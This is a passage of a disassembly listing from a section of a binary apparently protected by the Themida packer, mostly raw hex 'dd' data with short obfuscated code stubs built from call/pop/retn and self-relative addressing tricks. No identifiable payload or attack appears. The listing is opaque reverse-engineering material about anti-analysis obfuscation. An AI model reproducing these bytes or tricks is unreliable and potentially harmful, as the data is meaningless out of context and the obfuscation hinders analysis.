8104246Ch, 14042444h dd 45000000h, 0F96C355h, 0C90AD8BFh, 137840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 860F45C3h, 3, 8B3BEB80h, 10218585h, 0FEBF0F06h, 11FD8533h dd 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0BAE66BC3h, 893F3210h, 10105DBDh, 0F98B5006h dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0C353C351h, 0DEDAA05Ah, 6ADC86h dd 0BE9h, 0C0CD8900h, 0B28E71C3h, 9E2E9ECBh, 4E8h, 1F03FF00h dd 0FEBB5000h, 8B1B733Eh, 0BF042444h, 37C160D6h, 0BF66008Bh dd 448976FCh, 5B520424h, 8B0F58h, 0FF000000h, 1005D595h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 893F8CFDh, 13C26D85h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0E3D1C8A0h dd 15DD7E1Dh, 51858935h, 0E9061005h, 1B3h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 57C35545h, 65858BF8h dd 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 48B5C357h, 1800C79Dh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 69FCC351h, 519D8BF6h, 8B061023h, 13C269B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0A98D2955h, 8B061009h, 100E2585h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 6892433h, 31319D29h, 858B0610h, 6102185h, 4689FA8Bh dd 55BD8B04h, 96061002h, 79DB05BFh, 196500Ah, 101101B5h dd 65B5FF06h, 680613C2h, 0ED10937Eh, 81240481h, 6A130E70h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 4595C357h, 34CDB5EFh, 33B809EDh, 100FE59Dh dd 6D858D06h, 6A0613C2h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 7306C356h, 0AE82EFCh dd 48000000h, 66AB969Dh, 8ECFCC34h, 2DBD2B20h, 5B061000h dd 6650F88Bh, 489FE8Bh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 31C4B9ADh, 0F111661h dd 684h, 99BD0300h, 0BF06102Eh, 46A0295Bh, 5D595FFh, 11E80610h dd 0D4000000h, 1B15A370h, 3C7276F7h, 94657D65h, 0F922BCE0h dd 239BD89h, 615F0610h, 5DD9531h, 85C70610h, 61022C1h dd 3, 1135BD8Bh, 0BD830610h, 613C26Dh, 31840F00h, 51000000h dd 94DBD8Bh, 0E95B0610h, 3Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0DDC35343h, 8354E783h, 0F9096CCCh dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0B7C08B00h dd 50006A70h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 7F248539h, 503BC5B7h, 149EBB66h, 22C1BD83h dd 0F030610h, 40185h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 29566057h, 4B932860h dd 0FDD78166h, 6DBD83EAh, 613C2h, 3CC840Fh, 9E90000h, 7E000000h dd 0C5F2C016h, 0B5E29208h, 0C26DB5FFh, 8D290613h, 61013CDh dd 2A3D8D09h, 95FF0610h, 6102FA5h, 0C261B58Bh, 6A0613h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 2FF96FC3h, 8C2618D3h, 12E895BEh, 6F000000h, 0D189226Ch dd 0A1F224B2h, 5CBCBA7Ah, 854FA703h, 5DBD8B7Ah, 5F06101Eh dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 51B75BC3h, 85897B26h, 6100FB5h dd 52505750h, 0BB66310Fh, 585A9591h, 2434895Fh, 0BE9h dd 49742000h, 7151086Ah, 8FDDC84Ch, 0C26DB5FFh, 8B660613h dd 2595FFD9h, 6A061012h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 6415C351h, 4A7B3FE7h dd 0B387878Fh, 61B58B1Fh, 6A0613C2h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 13BDC355h dd 6B39CD78h, 2B67A3BAh, 102AAD9Dh, 0D1858B06h, 89061021h dd 1021599Dh, 81666006h, 0E8AB6ACAh, 0Eh, 0BC6117D6h, 612F972Dh dd 0E392DB24h, 850F2414h, 0 ; --------------------------------------------------------------------------- pop ecx popa mov [esi+0C4h], eax sub [ebp+61021C5h], esi mov edx, [ebp+61009F5h] mov edi, ecx add edx, 4 mov ebx, [ebp+6100BFDh] mov [eax+20h], edx jmp loc_595F25 ; --------------------------------------------------------------------------- db 36h dd 2A589678h, 0A2100A1Ah ; --------------------------------------------------------------------------- xchg eax, esp loc_595F25: ; CODE XREF: Themida_:00595F16j lea eax, [ebp+613D7C2h] mov [ebp+61009F9h], eax or [ebp+6100DB5h], ebx mov [esi+0B8h], eax push 0 push ebp call sub_595F48 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_595F48 proc near ; CODE XREF: Themida_:00595F40p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_595F48 endp ; --------------------------------------------------------------------------- dd 4A2F3AE5h, 10E90Bh, 9DFD0000h, 0B39B1B39h, 27962158h dd 0CBEFBBBBh, 8B66F7C5h, 89006AD8h, 1015A9BDh, 6DB5FF06h dd 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0B266C357h, 78DF7C53h, 8B66F2F9h dd 9595FFD9h, 6A061004h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 281AC356h, 6743B5EDh dd 0E8865B67h, 0Eh, 2903DE61h, 489A33ABh, 0B964B798h, 9D8BE4ADh dd 6102D91h, 0AD9D8B5Bh, 50061006h, 3489FA8Ah, 0B6B86024h dd 8B460255h, 1031C595h, 0B5FF6106h, 613C26Dh, 0FFDF8B66h dd 10162D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0D62EBF27h, 0BD8356C6h, 6101351h dd 39840F00h, 0F000000h, 0E781DBBFh, 46B40A15h, 50E9B796h dd 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0B23EE046h, 1FD9D8Bh, 9D230610h, 6100A49h dd 0C26DB5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 6D9AC6C3h, 0E04732Eh, 9D8BBA59h dd 61027C1h, 1F71B589h, 95FF0610h, 6100C19h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 99C35545h, 78E3569Ah dd 9BAB3BDh, 101D0D9Dh, 0F8BF6606h, 6DB5FF18h, 10613C2h dd 1009B995h, 2195FF06h, 0BB061016h, 14175268h, 0F89BD83h dd 0F020610h, 3984h, 60DA8B00h, 8B92D480h, 858B61D3h, 61010C5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0CBC35747h dd 8B66C5DEh, 0C6DFh, 8B1BD89h, 85C70610h, 6102A25h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_596157 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_596157 proc near ; CODE XREF: Themida_:0059614Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_596157 endp ; --------------------------------------------------------------------------- db 28h dd 8BD09620h, 0F1B531DFh, 0F06100Fh, 9FE9FEB7h, 6AFFFFF3h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 94FCC357h, 0CDBD0B60h, 61061031h, 6AC18Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0BBDC62C3h, 0BD8B481Eh, 6100225h, 0F98D29h, 0EE90610h dd 99000000h, 2528CFh, 2 dup(0) dd 57BE900h, 17B70000h, 2BE158D4h, 0CC138F4h, 2BE057D3h dd 9BB3AEEh, 0EC180ECAh, 0CF8BCA7Eh, 0E864A548h, 0C682BD71h dd 0E763984Fh, 0B111F804h, 556BD8D1h, 7932CC58h, 97395044h dd 0AE55E458h, 550E8D79h, 0AF557420h, 0D2F18C78h, 439F233h dd 0AD1514EAh, 496DCC7Ch, 20F400EDh, 0AA9BBA67h, 363709CDh dd 5DC91A92h, 69F20706h, 47CE8AC5h, 689668A3h, 0CC6301C1h dd 7489E56Dh, 317213B2h, 0ABE69C1Fh, 0A05E7BF7h, 3DE47B36h dd 0CC0EB389h, 466EFEF1h, 463A1647h, 0C35206EAh, 6C3BE71Ch dd 6DCC15D3h, 29CC6354h, 336ACCE8h, 0F32CE158h, 0FFA423FFh dd 7552CEC2h, 76D3h, 0A9D73900h, 4E427B32h, 7C9F23D2h dd 0FB776DCCh, 79AE55DEh, 7C66DE8Dh, 18A76DCCh, 88835D79h dd 6DCC7C3Ah, 21A188DAh, 0C56DCC7Ch, 0A7708D69h, 336B3666h dd 146h, 7A328400h, 16DA453Ah, 0E4B184h, 45441A14h, 6DCCBFFDh dd 73401D19h, 0F5C496CDh, 5611552h, 0BB679E46h, 0E5E4A2B7h dd 5E110542h, 5B903702h, 1F069D7Eh, 0FF763269h, 96D37848h dd 3268FEBAh, 34533F7Eh, 0ECA1558Ch, 57F938D7h, 0F198C97Dh dd 6DCC7C51h, 0B99DB9B5h, 98CD7605h, 82E385C6h, 0C45DA07Ch dd 29E0F7A7h, 205304F0h, 6A996481h, 5209336Ah, 0E7895E9Fh dd 93h, 497E3225h, 0CC7CE062h, 4C28046Dh, 538C4158h, 8E700C9Fh dd 0CC7C279Bh, 8663BF6Dh, 75171EB5h, 0EF952436h, 432F681Dh dd 70E603DFh, 0DE15CB8Eh, 0A2192E32h, 1E9DAFEEh, 6C1A2F66h dd 637DBA6Dh, 0F0276F6Ah, 0C28EC0C9h, 3FB5A260h, 0C2802B8Ch dd 226DCC99h, 514D2A46h, 11D46B08h, 336A4ED0h, 4DB0h, 7E321A00h dd 58532D3Fh, 6DCC7CEAh, 8E4C050Ah, 15674707h, 106A1C31h dd 0B86CA349h, 6E149FBCh, 0D36C3F33h, 1453F53Ch, 8FCC7F3Ah dd 326604BAh, 0E45E4D7Ah, 6DCC7Ch, 5544024h, 6DCC7CB8h dd 44A1407Fh, 336B3569h, 149h, 0A9D7C300h, 0CC7C4002h dd 0B3C8A46Dh, 0FCAD8128h, 876BC7BBh, 83DE675h, 4343181Ch dd 0BA669B44h, 792D661Bh, 33D6AC62h, 0B022CEF2h, 0F45E6201h dd 0CA7FA63Dh, 31C81D91h, 30D9D0AAh, 0B467FC06h, 0A943B2B7h dd 0F6D36E89h, 5D7C2804h, 3EBD71A6h, 55F14785h, 4B201966h dd 942C7B27h, 0A5942304h, 0B8CFC304h, 3B20D415h, 6CF07D63h dd 0B34EF85Eh, 431DB01Ch, 0E094D578h, 0E423C584h, 949D3407h dd 79C9C0EBh, 9D9423CCh, 5729A5C1h, 0D1A6DB84h, 522C610Ah dd 0CCC57D2Ch, 45219423h, 0A85F7628h, 0B9CA7F73h, 2F641B1Ah dd 751AA17Bh, 915C2338h, 71397B85h, 180h, 0DA17CC8Fh, 972D4A26h dd 8BC4A9D7h, 0E758C881h, 46AD1504h, 0ED496DCCh, 75666D10h dd 2173725Bh, 0C44097E4h, 93B872A4h, 0AECB3995h, 7F25B4CAh dd 43783348h, 0A367FC6Bh, 3BCDBC7h, 7B578C33h, 5A8F38BFh dd 6005D4A6h, 0BDFCB027h, 0C3906DC9h, 5E3BE71Ch, 0C87FA63Dh dd 0E4A7B993h, 943C5F5Eh, 199DBAB6h, 7B128B66h, 8D40FB39h dd 23E6584Ch, 943C6B9Fh, 2D7FB77h, 4B4Eh, 42E97000h, 401D190Dh dd 1AC15C64h, 7CD94940h, 86FDEDCCh, 72EEA2E3h, 4FF3A24Eh dd 70EDCC7Ch, 1B30CFh, 5ECC01DBh, 0BF6CF987h, 9DBB0702h dd 0FF5BEDCCh, 37F206E3h, 6DCC9DABh, 0F57AC64Bh, 0EBFE71E1h dd 0B9D25307h, 2A000000h, 4328BD5Ch, 9B6CF0EFh, 68DAC1EEh dd 8C6DCC26h, 0EF9AB490h, 67FC568Ah, 2661057Ch, 26DAF67Ah dd 0B5001754h, 60DF6D57h, 0A08470A9h, 685C97C4h, 7C54E403h dd 0F62BD45Fh, 0D70CB342h, 0E68A512Bh, 6277FBA7h, 3CD31EA9h dd 0D76E5594h, 0EC60954Eh, 65A64712h, 0FDDEF588h, 42628E3h dd 0FDBC9E08h, 49390E49h, 0E9A239EDh, 7C77CBBEh, 8A8F9E10h dd 9E8376D4h, 2BAAC613h, 0EB473B78h, 49F8F507h, 8CC57C93h dd 43E6255Fh, 22C08229h, 48249E10h, 0D2617333h, 0DEFD1C33h dd 91F9F20Ch, 97DDC27Fh, 0E118D087h, 6F1C3135h, 9424A16Fh dd 5CE6A597h, 0B8800B27h, 862498BCh, 0CD15BD5Ch, 10EA8648h dd 5A84567Ah, 0FF3D8584h, 5DD96DCCh, 2EE27DEh, 5C62491Eh dd 6867F82Ah, 0CA81180Ch, 74471995h, 1752F8CEh, 0EEB076Bh dd 0BD699E45h, 7B2EB6EEh, 0A7E487FBh, 0EA27DCFBh, 927EB56Bh dd 2551F198h, 0B9B5BB63h, 6E52F192h, 0C46D049Bh, 0E372E61Bh dd 0BF5073Ch, 6325A220h, 11E642BBh, 94D17615h, 0A43BF6E0h dd 0A988C67Dh, 78CAC1FBh, 9CBB633Ah, 50409BC0h, 0B79BDC8Dh dd 0EF981F9Bh, 8DDC6BAh, 0E3000000h, 5875B458h, 326D5FCCh dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h, 81E38953h dd 4C3h, 4B95100h, 29000000h, 1C8759CBh, 3C685C24h, 8900006Fh dd 0EC682434h, 8900002Dh, 7B68243Ch, 8B0614ADh, 0C4812434h dd 4, 243C8B54h, 4C481h, 50560000h, 260022B8h, 24443174h dd 478F5804h, 8778108h, 74260022h, 5F2434FFh, 0FF04C483h dd 815E2434h, 4C4h, 0CD7EE900h, 47B7FFFBh, 2D20E5D6h, 0B285B833h dd 0C5030614h, 78A9E0FFh, 57C377ECh, 8A2828ECh, 0CD7C39F5h dd 6F423CFCh, 52ED0647h, 77970092h, 71EF1E28h, 11B753E0h dd 0CB35205Dh, 0EB5309EDh, 7B296ADDh, 4F5B06B7h, 9AF02B31h dd 3B3235A1h, 858D4054h, 61013B9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 84C35343h, 0E5742C11h, 8A90ABD6h dd 0FA8A50D9h, 51006A90h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0B843F847h, 698C174h dd 0BD8BFA30h, 6100909h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0BA58C6C3h, 0FE91D12h dd 0A4000000h, 0B234DCF5h, 9204F709h, 3BF22626h, 6ABD97h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1EC35646h dd 28859D8Bh, 858D0610h, 614B586h, 7832BF66h, 6A05C083h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 4C0BC357h, 5090FCCAh, 13E952h, 0F3F70000h dd 0A1E2D6Dh, 0B90A5D3Ch, 10CD1DBh, 2F7F4C0Eh, 0B3310F39h dd 50585A46h, 0EE8h, 44386500h, 0A0690E54h, 7D014D13h dd 508307E9h, 0FFA8A52h, 5B585A31h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0A01546BEh dd 0D6F78166h, 8B006A3Ch, 102FE19Dh, 0F006A06h, 95FFFBBFh dd 6101D19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 7BC35343h, 36C3EF2h, 8BAC9837h, 102D019Dh, 0D88D8D06h dd 6A0613AFh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 4AEBC357h, 0D4FD301Fh, 0DE96FD3h dd 44000000h, 0C26DE6E4h, 0E2B09C02h, 65FB2A1Bh, 0BD89D1FFh dd 6101471h, 2209BD83h, 0F010610h, 7C85h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0CB8075A2h, 8B026AC9h, 0D98589F8h, 90061001h, 0FE8h dd 8B8F9E00h, 56A54C3Ch, 147601A4h, 0FFA17A9h, 0DE8h, 0ECD30300h dd 70CA5410h, 78376319h, 0C4BFE9E1h, 5F65384Ah, 0EE9505Bh dd 7000000h, 0C8368563h, 0A6EF2097h, 0C6DC9F6Fh dd 0BF0F905Ah, 9595FFFFh, 81061004h, 0C60E73DFh, 0ECDE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5969F6: ; DATA XREF: Themida_:0054E59Co call $+5 pop ebp sub ebp, 614B590h mov [ebp+6103131h], eax add bx, 434Ch add [ebp+6100C21h], ebx lea eax, [ebp+61399B6h] push 0 push edi call sub_596A24 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_596A24 proc near ; CODE XREF: Themida_:00596A1Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_596A24 endp ; --------------------------------------------------------------------------- dd 0CD715E7h, 11E84Fh, 7A0B0000h, 0C0D249ECh, 120AACDEh dd 3662C28Dh, 890CB38Fh, 100779BDh, 0BF905F06h, 7298998Fh dd 0A5BB6650h, 6A90BDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0B529E4C3h, 6100E79h, 56B6BF66h dd 35FF64h, 80000000h, 896492C7h, 25h, 0B516000h, 101D318Dh dd 13E95F06h, 3C000000h, 94EB05E1h, 3CD3131Eh, 276B84F4h dd 14BB2276h, 0FF61029Ch, 10141985h, 15BD8906h, 6A061019h dd 17860FFFh, 0F000000h, 1184h, 0CE900h, 96330000h, 0FBD675F1h dd 0D5B40441h, 0B5FFECF0h, 61004E9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 19C35343h, 13830F08h, 0E9000000h dd 0Eh, 52A0A2A4h, 6E473FA3h, 6A9C5DDh, 0B5897BF7h, 6100491h dd 61595FFh, 0F3E90610h, 0BF000000h, 166BE529h, 7E900B0h dd 34000000h, 0E5B0B5C8h, 70E61B1Ah, 1CA59D2Bh, 71E40610h dd 0DBD3BF66h, 830F613Ch, 0CAh, 850FB5B3h, 1, 0C8B60FF5h dd 18D9BD89h, 6BA0610h, 89000000h, 1009B19Dh, 60C18B06h dd 2079BD01h, 0DE90610h, 83000000h, 0B4F4AC50h, 0F541DAC5h dd 5DA0D377h, 4E8C161h, 0ECCCBF66h, 66E2F766h, 0FAA7EB81h dd 9D89C82Bh, 6102795h, 8BDAB70Fh, 4820FD1h, 66000000h dd 0E9EDCBBFh, 2, 858B05B7h, 6100069h, 83DE8B66h, 0C08307C0h dd 0FD03B00h, 1383h, 0E9EEB700h, 46h, 3139BD8Bh, 85890610h dd 6102EE9h, 418D8Bh, 0BD8B0610h, 6102A31h, 0F01E183h dd 2584h, 3A8EBF00h, 0A5830316h, 6100041h, 0FFBF0FFEh dd 699589h, 6E90610h, 44000000h, 0BF71625Fh, 0E9D3h, 0B58D0000h dd 61427DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0B1C35747h, 6C4275C5h, 27CB2127h, 23006A96h, 1015A1BDh dd 0C995FF06h, 6A061031h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 408C355h, 0AC97F48Dh dd 5E9h, 5CED9900h, 13B95BC2h, 8B000008h, 100C51BDh, 0FCE18306h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 97C35242h dd 81ECF231h, 8048A038h, 6AFC2ADFh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 530EC355h dd 0C8C5B238h, 0B7B719DCh, 0B8A3h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 7E1644C3h dd 0EF981000h, 31FABF0Fh, 1006D9B5h, 6AD22B06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0ADD7C353h, 0E8D1C233h, 0E983D003h, 29F47504h, 100CA98Dh dd 5BD8B06h, 8A06100Fh, 880DDCh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5F50CCC3h dd 631CC41Eh, 0F9D46388h, 9F5958Bh, 11E80610h, 0D1000000h dd 6F9248Fh, 0B0F2ADC7h, 8F324078h, 0CAC087Fh, 8B5FC6B3h dd 1023198Dh, 79EF8006h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 5F575818h, 51D9D03h, 6A0610h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0E59ACEC3h dd 5EF171BCh, 83B3B5DDh, 101E29BDh, 840F0006h, 3Ch, 10C19D8Bh dd 0B80610h, 8D000000h, 104E858Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 611DCCA2h dd 0A7C5FBCAh, 56E1FF91h, 5BF8B70Fh, 22C1BD83h, 0F000610h dd 51984h, 0D0C78100h, 0BF59B0D7h, 6D0C627Eh, 22C1BD83h dd 0F010610h, 51C84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0DDAD28DAh, 0C1BD8302h dd 3061022h, 4B9860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 17698FC3h, 1F16B7BAh dd 68BF8A2Ch, 600F2EECh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0E4C35040h, 89D98C66h, 1006D995h, 4E18006h dd 7E9h, 79B36A00h, 0D17227Ah, 840FC90Ah, 168h, 11E8h dd 0D9ECEA00h, 0CDBC012Ah, 679BDFD5h, 86D45A8Fh, 0B70F597Ah dd 858B5BD8h, 6102185h, 11FD8533h, 6A0610h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0C30A7FC3h dd 2C4C9543h, 5290F521h, 505FDA8Ah, 714BEDBFh, 6A907Ch dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 7127BCC3h, 72C3EBCAh, 29AA99C7h, 10131D8Dh, 0BF0F5206h dd 6A5FDAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 47C35242h, 63FC1642h, 0E30EEEA8h, 0C99D8970h, 0E8061018h dd 4, 1F03FFh, 5650FA8Bh, 12E9h, 41543D00h, 1A606B2Fh dd 0DD851848h, 712CBCAAh, 5FA173C1h, 424448Bh, 8B65B3h dd 4741BB66h, 4244489h, 0F88B5250h, 585A310Fh, 158D8958h dd 0FF061008h, 1005D595h, 259D0106h, 89061016h, 13C26D85h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0FB8B6014h, 6810Fh, 0B5890000h, 6101F85h dd 71950161h, 0E9061007h, 25Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0A4C35545h, 9EBACC11h, 0F9858957h dd 5B061009h, 0C265858Bh, 0F560613h, 68Ah, 0D9D8900h, 5B06100Eh dd 1800C7h, 0BE90000h, 0C3000000h, 0CB777D2Fh, 7DB32EADh dd 0B58B66D3h, 613C269h, 25858BF8h, 6A06100Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0A42BC350h, 29641B84h, 1005A585h, 6A068906h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0EAC8C357h, 0DECF1CD0h, 1A1397E1h, 56E4BF66h, 2185858Bh dd 9D890610h, 6101AC5h, 7E8h, 99B7900h, 5B3892CEh, 5FFAB70Fh dd 6A044689h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 8910C355h, 9D8B84F7h, 61022C5h dd 2AB9BD8Bh, 66500610h, 89EB13BFh, 6A2434h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CD8F70C3h dd 18E1BD23h, 0B5890610h, 6102F8Dh, 0C265B5FFh, 6A0613h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0BDE525C3h, 0C810F1Eh, 0E8000000h, 6, 0A46F25D9h, 0E85FDB08h dd 4, 1F03FFh, 0C6B2CABFh, 0BB66502Fh, 448B8941h, 52500424h dd 0F98B5250h, 0CE8310Fh, 0D5000000h, 9C092921h, 6AF1E5E1h dd 5FA806C0h, 310F585Ah, 5850Fh, 0CBB0000h, 5A386816h dd 0E9008B58h, 6, 67DFD10Ch, 44895943h, 23580424h, 100829BDh dd 6D858D06h, 6A0613C2h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0FEAFC352h, 1664BE4Dh dd 0CF81145Eh, 4FFF5E4Bh, 0AADB8166h, 0FA8B90FAh, 0FB8B5650h dd 6A905Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h dd 1D2CE8C3h, 0E3CAD01h, 11E961h, 48590000h, 89465A91h dd 7CB59C1Dh, 56CE859h, 0FFF16588h, 1005D595h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 636F7A64h, 44876ADh, 10E8614Dh, 0E6000000h, 3261755Ah dd 963B13E6h, 6CFD449h, 0BBBC564Dh, 43D69B8Dh, 0C185C75Bh dd 3061022h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 5C9BC353h, 0CD8F7030h dd 602BA876h, 8B12C880h, 10142D95h, 0BD836106h, 613C26Dh dd 54840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 86F2C355h, 6E6EC678h dd 1FD19D8Bh, 43E90610h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BC6EC351h dd 895B9030h, 0A1BD8BD8h, 50061027h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 0BD8BC08Bh, 6100B45h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C4C35141h dd 0C1BD8307h, 3061022h, 4DA850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 4DE6C4C3h dd 6ABF8036h, 8319EA7Ah, 13C26DBDh, 840F0006h, 4A8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 65C35141h, 0F3C09DBAh dd 7DBD8BC4h, 0FF06102Fh, 13C26DB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 1518F866h dd 1BA99D29h, 95FF0610h, 6102FA5h, 9E9h, 104C3900h, 260B08F4h dd 0B58B0E8Dh, 613C261h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0F8C35040h, 402ABE9Bh, 106C7F4h, 31000100h dd 1011B995h, 5ABF5006h, 891ACAD2h, 6A2434h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 74C008C3h dd 806E37A9h, 0B5FFB6E7h, 613C26Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 7DC35040h, 0AA2A486Ch, 0AB477243h dd 122595FFh, 0DB800610h, 61B58B9Fh, 6A0613C2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 89B9C356h, 10287985h, 0D1858B06h, 6A061021h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 35B0C353h, 8689DCE6h, 0C4h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 27C35747h, 8B7A4F16h, 1010A1BDh dd 91BD8B06h, 8B061012h, 1009F595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 